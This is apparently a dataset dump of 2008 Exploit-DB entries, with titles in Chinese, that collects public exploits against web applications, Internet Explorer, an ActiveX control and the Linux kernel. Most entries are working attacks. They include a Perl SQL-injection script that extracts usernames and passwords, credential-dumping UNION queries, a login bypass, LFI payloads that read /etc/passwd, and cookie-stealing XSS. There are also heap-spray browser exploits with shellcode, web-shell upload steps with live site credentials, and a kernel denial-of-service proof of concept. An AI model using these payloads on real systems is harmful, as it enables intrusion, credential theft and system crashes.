QLWD/code_shield huggingface dataset:
标题: CF_Calendar - 'calendarevent.cfm' SQL Injection EDB-ID: 7413 CVE: 2008-6319 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-10 漏洞利用脚本: #!/usr/bin/perl


use HTTP::Request;
use LWP::UserAgent;



print "\n ********************************************\n";
print " * CF_Calendar Remote SQL Injection Exploit *\n";
print " *       By AlpHaNiX                        *\n";
print " ********************************************\n";
print " ********************************************\n";
print " * usage : perl exploit.pl target           *\n";
print " *  contact : AlpHa[AT]HACKER[DOT]BZ        *\n";
print " ********************************************\n";



$alpha1 = "calendarevent.cfm?calid=";
$alpha2 = "0+union+select+1,concat(0x20616c7068616e69787761736865726520,username,0x20616e642070617373776f7264206973203a20,password,0x20616c7068616e69787761736865726520),3,4,null,6,7,8,9+from+login";



if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target = "http://".$ARGV[0]."/"; }
print " Working on it\n\n";

my $alpha3 = $target.$alpha1.$alpha2;
my $request   = HTTP::Request->new(GET=>$alpha3);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
        my $res   = $response->content;
        if ($res =~ m/ alphanixwashere (.*)and password is : (.*) alphanixwashere /g) {
                my ($username,$passwd) = ($1,$2);
                print "Username : $username \n\n  password : $passwd  \n\n"

        }
        else { print " operation failed \n\n"; }
}
else { print "  Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7413
标题: CF_Auction - Blind SQL Injection EDB-ID: 7414 CVE: 2008-6323 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-10 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF_AUCTION
#download : null
#Demo     : http://www.cfwebsite.com/


###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--

http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=5   TRUE
http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=4   FALSE
http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=3   FALSE


###########################################################################

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7414
标题: cf shopkart 5.2.2 - SQL Injection / File Disclosure EDB-ID: 7412 CVE: 2008-6321 2008-6320 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-10 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CF SHOPKART V5.2.2
#download : http://www.cfshopkart.com/dl/cfshopkart522.rar
#Demo     : http://www.cfshopkart.com/demos/cfshopkart522/

###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--
http://www.cfshopkart.com/demos/cfshopkart522/index.cfm?carttoken=86347665727815&Action=ViewCategory&Category=(bl!nd)


--=[DATABASE DISCLOSURE]=--
http://www.cfshopkart.com/demos/cfshopkart522/databases/cfshopkart52.mdb

#Greetz For DraGoBalti`

###########################################################################

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7412
标题: CFMBLOG - 'categorynbr' Blind SQL Injection EDB-ID: 7415 CVE: 2008-6322 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-10 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : CFMBLOG
#download : null
#Demo     : http://www.cfmblog.com


###########################################################################

#Exploits :

--=[BLIND SQL INJECTION]=--

http://www.cfmblog.com/index.cfm?categorynbr=2+and%20substring(@@version,1,1)=5


###########################################################################

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7415
标题: phpAddEdit 1.3 - 'editform' Local File Inclusion EDB-ID: 7417 CVE: 2008-6313 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-10 漏洞利用脚本: #phpaddedit-1.3 LFI


#Author: nuclear


#script:http://sourceforge.net/projects/phpaddedit/


#vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00


#vulnerable code:
if (!$formname && $_GET["editform"]) $formname = $_GET["editform"];
...
if ( $error_message || $error || !$_POST["submitval"] ) {
    include_once ($formname."-header.inc.php");
    include_once ($addeditcwd."addedit-create-form.php");
    include_once ($formname."-footer.inc.php");
}




#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7417
标题: WebMaster Marketplace - SQL Injection EDB-ID: 7407 CVE: 2008-5574 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-10 漏洞利用脚本: Webmaster Marketplace (member.php u) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.unscripts.com/MPS.html

DorK : :(

exploit :
_______

http://www.site.com/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin--



Demo :
_______

http://www.unscripts.com/MPS/member.php?u=15+UNION+SELECT+concat(user,0x3e,pass),2+FROM+admin--


login :
http://www.site.com/Admin/login.php

____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|  My friends : str0ke | DeViL iRaQ | IRAQ_JAGUR |  Sakab
|
|   FAHD |  jiko | IRAQ DiveR | Cyber-Zone | CraCkEr | G4N0K
|_____________________________________________________________________



                             IM IraQi    |       IM TrYaGi

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7407
标题: Microsoft Internet Explorer (Windows Vista) - XML Parsing Buffer Overflow EDB-ID: 7410 CVE: 2008-4844 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-10 漏洞利用脚本: <html>
<script>

 // k`sOSe 12/10/2008
 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
  // Heap spray address adjusted for Vista - muts / offensive-security.com
 // http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
 // http://www.offensive-security.com/0day/iesploit-vista.rar
 // windows/exec - 141 bytes
 // http://www.metasploit.com                                                                    
 // EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe    
 var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
   var block = unescape("%u0c0c%u0c0c");
 var nops = unescape("%u9090%u9090%u9090");


 while (block.length < 81920) block += block;
 var memory = new Array();
 var i=0;
 for (;i<1000;i++) memory[i] += (block + nops + shellcode);

 document.write("<iframe src=\"iframe.html\">");

</script>


</html>


<!-- iframe.html

<XML ID=I>
 <X>
  <C>
   <![CDATA[
    <image 
     SRC=http://&#3084;&#3084;.xxxxx.org   
    >
    ]]>
   
  </C>
 </X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
 <XML ID=I>
 </XML>

 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
 </SPAN>
</SPAN>

-->

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7410
标题: living Local 1.1 - Cross-Site Scripting / Arbitrary File Upload EDB-ID: 7408 CVE: 2008-6530 2008-6529 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-10 漏洞利用脚本: Authot: Bgh7
 
Home: http://ozelteam.com - Turk Bilisim GÃ¼cleri
 
Pst: bybgh7@msn.com
 
=============================
 
Dork: allinurl:clientsignup.php "classifieds"
 
Dork2: Powered By: Living Local V1.1
 
Demo: http://www.jerseyads.net/listtest.php?r="><script>alert()</script>
 
Demo2: http://homes.relatedlistings.com/Member_Admin/logo/cca55760b985b02c1b9d7fac606shell.php
 
http://homes.relatedlistings.com/Member_Admin/
 
E-Mail: bybgh7@msn.com
Password: tbg1122
=============================
 
you must register to site ( direckt register link: http://localhost/script_path/registerlandlord.php ) ( siteye uye ol )

and login ( direckt link: http://localhost/script_path/Member_Admin/index.php ) ( giris yap )

after edit your banner ( direckt link: http://localhost/script_path/Member_Admin/editimage.php?clientid=[MemberAdminPass] )

or first click "Edit Account Info" after click "Your Logo" Edit button ( "Edit Account Info" yazÃ½sÃ½na tIkla sonra da edit butonuna tIkla )

and open new page. you click gozat button and select your_sheell.php ( acIlan yeni sayfada senin hazIr shell i upload et )

after click to submit button. you should see "Your image will be review." ( "Your image will be review." bu yazIyI gormelisin )

if you see "Your image will be review." your shell upload succesfull. ( gorduysen yukleme basarIlI )

after repeat click to "Edit Account Info" and open page. your logo right click and properties select this link copy

after paste your explorer go your_shell.php ( sonra yine "Edit Account Info" yazIsIna TÃ½kla

acIlan sayfada logonun ustunde sag tIkla ozellikleri TÃ½kla linki kopyala sonrada shelle ulas )
 
 
==========================
 
Thanks: str0ke - Ã‡Ä±lgÄ±nTurk

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7408
标题: Butterfly ORGanizer 2.0.1 - 'id' SQL Injection EDB-ID: 7411 CVE: 2008-6328 2008-6311 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-10 漏洞利用脚本: #########################################################################################
[0x01] Informations:

Name           : Butterfly Organizer 2.0.1 Sql Injection
Download       : http://www.hotscripts.com/jump.php?listing_id=72677&jump_type=1
Vulnerability  : Remote Sql Injection
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
*              : Same bug of the previous version: http://milw0rm.com/exploits/5797

#########################################################################################
[0x02] Bug:

Bugged file is /[path]/view.php

[CODE]
$mytable = $_GET['mytable'];
$id = $_GET['id'];

$result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database);
$myrow = mysql_fetch_array($result);
[/CODE]

Query accept direct GET input, so we can inject hell sql code.
To avoid this vulnerability, just escape GET input.

#########################################################################################
[0x03] Exploit:

http://localhost/[path]/view.php?id=-1+union+select+0x49276d2076756c6e657261626c65203a28,2,3,name,url,username,password,8,9,10+from+test_category&mytable=test_category

########################################################################################

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7411
标题: ProQuiz 1.0 - Authentication Bypass EDB-ID: 7397 CVE: 2008-6327 2008-6312 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: ----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [0] GENERAL DETAILS:

Name           :  ProQuiz 1.0 Sql Injection (Auth bypass)
Download       :  http://sourceforge.net/project/downloading.php?group_id=246466&use_mirror=kent&filename=ProQuiz.zip&65145754
Vulnerability  :  Sql Injection (Admin Login Bypass)
Author         :  Osirys
Contact        :  osirys[at]live[dot]it

----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [1] BUG EXPLANATION:

The affected file is /admin/index.php. Let's see the code.

[CODE]
if($_GET['menu'] != 'madmin')
 {
 if(isset($_POST['username']) && isset($_POST['password']))
  {
   $query = "SELECT * FROM ".$member_admin." WHERE `username` = '".$_POST['username']."' AND `password` = '".$_POST['password']."' ";
[/CODE]

----------------------------------------------------------------------------------------------------------------------------------------------------------------
 [2] EXPLOITATION:

Just go in /[path]/admin/index.php. Login with the following details:
Username : ' or 1=1#
Password : anything

----------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7397
标题: PHP Multiple Newsletters 2.7 - Local File Inclusion / Cross-Site Scripting EDB-ID: 7400 CVE: 2008-5570 2008-5566 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: ****(Lfi/xss)****

script: PHP_Multiple_Newsletters v2.7

***************************************************************************
download from:http://www.phpmultiplenewsletters.com/modules/phpmultiplenewsletters.com/dist/free/PHP_Multiple_Newsletters_v2.7.zip
   
***************************************************************************
vul:/index.php
line 36:
include ('language/'..$_REQUEST['lang'].'.php');
   
***************************************************
xpl:
www.site.com/path/index.php?lang=[Lfi]%00

xss:
www.site.com/path/index.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
...................................................
Author: ahmadbady from:iran

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7400
标题: postecards - SQL Injection / File Disclosure EDB-ID: 7398 CVE: 2008-5560 2008-5559 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-09 漏洞利用脚本: ###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : PostEcards
#download : http://www.funscripts.net/old_coldfusion/download.php?fname=postcards

###########################################################################

#Exploits :

--=[SQL INJECTION]=--
http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00
http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,pwd,null%20FROM%20USERS%00


--=[DATABASE DISCLOSURE]=--
http://www.target.com/database/postcards.mdb



#Live Demo
http://www.melink.com/PostCards/database/postcards.mdb
http://www.melink.com/PostCards/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00

#Greetz For

###########################################################################

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7398
标题: PHPmyGallery 1.5beta - '/common-tpl-vars.php' Local/Remote File Inclusion EDB-ID: 7399 CVE: 2008-6318 2008-6317 2008-6316 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-09 漏洞利用脚本: *****************************************************************************************

Phpmygallery-1.5beta (common-tpl-vars.php) Multiple Local File Inclusion Vulnerabilities

*****************************************************************************************
 
Script Name: Phpmygallery
 
Version: 1.5beta
 
Autor: CoBRa_21
 
My Site: www.ipbul.org
 
Download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.5beta.zip
 
*****************************************************************************************
 
Exploit:
 
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?conf[lang]= [LFÄ°] (Windows Only)
http://localhost/[PATH]/_conf/_php-core/common-tpl-vars.php?admindir=[RFI]

*****************************************************************************************

Not: TÃ¼m Ä°slam Aleminin Kurban BayramÄ± Mobarek Olsun

*****************************************************************************************

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7399
标题: Microsoft Internet Explorer - XML Parsing Remote Buffer Overflow EDB-ID: 7403 CVE: 2008-4844 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-10 漏洞利用脚本: // k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes                                                                     
// http://www.metasploit.com                                                                    
// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe  

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz)

# milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7403
标题: Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service EDB-ID: 7405 CVE: 2008-5079 类型: DOS 平台: LINUX 发布日期: 2008-12-10 漏洞利用脚本: /*
 * cve-2008-5079.c
 *
 * Linux Kernel <= 2.6.27.8 ATMSVC local DoS
 * Jon Oberheide <jon@oberheide.org>
 *
 * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
 *
 *   net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
 *   and earlier allows local users to cause a denial of service  
 *   (kernel infinite loop) by making two calls to svc_listen for the
 *   same socket, and then reading a /proc/net/atm/*vc file, related  
 *   to corruption of the vcc table.  
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
 
#define NR_CPUS 8
#define PROC_ATM "/proc/net/atm/pvc"
 
int
main(void)
{
    char *err, dummy[1024];
    int i, ret, sock, proc;
    struct atm_qos qos;
    struct sockaddr_atmsvc addr;
 
    printf("[+] creating ATM socket...\n");
 
    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
    if (sock < 0) {
        err = "socket(2) for type PF_ATMSVC failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
 
    memset(&qos, 0, sizeof(qos));
    qos.rxtp.traffic_class = ATM_UBR;
    qos.txtp.traffic_class = ATM_UBR;
    qos.aal = ATM_NO_AAL;
 
    printf("[+] setting socket QoS options...\n");
 
    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
    if (ret == -1) {
        err = "setsockopt(2) for option SO_ATMQOS failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
 
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;
 
    printf("[+] binding socket...\n");
 
    bind(sock, (struct sockaddr *) &addr, sizeof(addr));
 
    printf("[+] socket listen...\n");
 
    listen(sock, 10);
 
    printf("[+] duplicate socket listen...\n");
 
    listen(sock, 10);
 
    printf("[+] attempting local DoS...\n");
 
    for (i = 0; i < NR_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
 
    proc = open(PROC_ATM, O_RDONLY);
    if (proc == -1) {
        err = "opening " PROC_ATM " failed";
        printf("[-] PoC error: %s (%s)\n", err, strerror(errno));
        return 1;
    }
    ret = read(proc, &dummy, 1024);
    close(proc);
    
    printf("[-] Local DoS failed.\n");
 
    return 0;
}

// milw0rm.com [2008-12-10] URL: https://www.exploit-db.com/exploits/7405
标题: EasyMail - ActiveX 'emmailstore.dll 6.5.0.3' Remote Buffer Overflow EDB-ID: 7402 CVE: 2008-6447 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-09 漏洞利用脚本: ################  EasyMail ActiveX Heap Spray Exploit  ############
 
By: e.wiZz! & shinnai
Site:  infected.blogger.ba & shinnai.net
 
 
#######Info: #########################################
 
CompanyName        Quiksoft Corporation
FileDescription        EasyMail MailStore Object
FileVersion        6, 5, 0, 3
Vulnerable file         emmailstore.dll
 
 
 
<html>  
 <script language="JavaScript" defer>  
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");  
  var sSlide = unescape("%u9090%u9090");  
  var heapSA = 0x0c0c0c0c;  
  function tryMe()  
   {  
    var buffSize = 3000;  
    var x =  unescape("%0c%0c%0c%0c");  
    while (x.length<buffSize) x += x;  
    x = x.substring(0,buffSize);  
    boom.CreateStore(x, 1);  
  }  
  function getsSlide(sSlide, sSlideSize)  
   {  
    while (sSlide.length*2<sSlideSize)  
     {  
      sSlide += sSlide;  
     }  
    sSlide = sSlide.substring(0,sSlideSize/2);  
    return (sSlide);  
  }  
  var heapBS = 0x400000;  
  var sizeHDM = 0x5;  
  var PLSize = (sCode.length * 2);  
  var sSlideSize = heapBS - (PLSize + sizeHDM);  
  var heapBlocks = (heapSA+heapBS)/heapBS;  
  var memory = new Array();  
  sSlide = getsSlide(sSlide,sSlideSize);  
  for (i=0;i<heapBlocks;i++)  
   {  
    memory[i] = sSlide +  sCode;  
   }  
 </script>  
 <body onload="JavaScript: return tryMe();">  
  <object id="boom" classid="clsid:5B8BE023-76A2-4F6D-8993-F7E588D79D98">  
   By e.wiZz! & shinnai  
  </object>  
 </body>  
</html>

# milw0rm.com [2008-12-09] URL: https://www.exploit-db.com/exploits/7402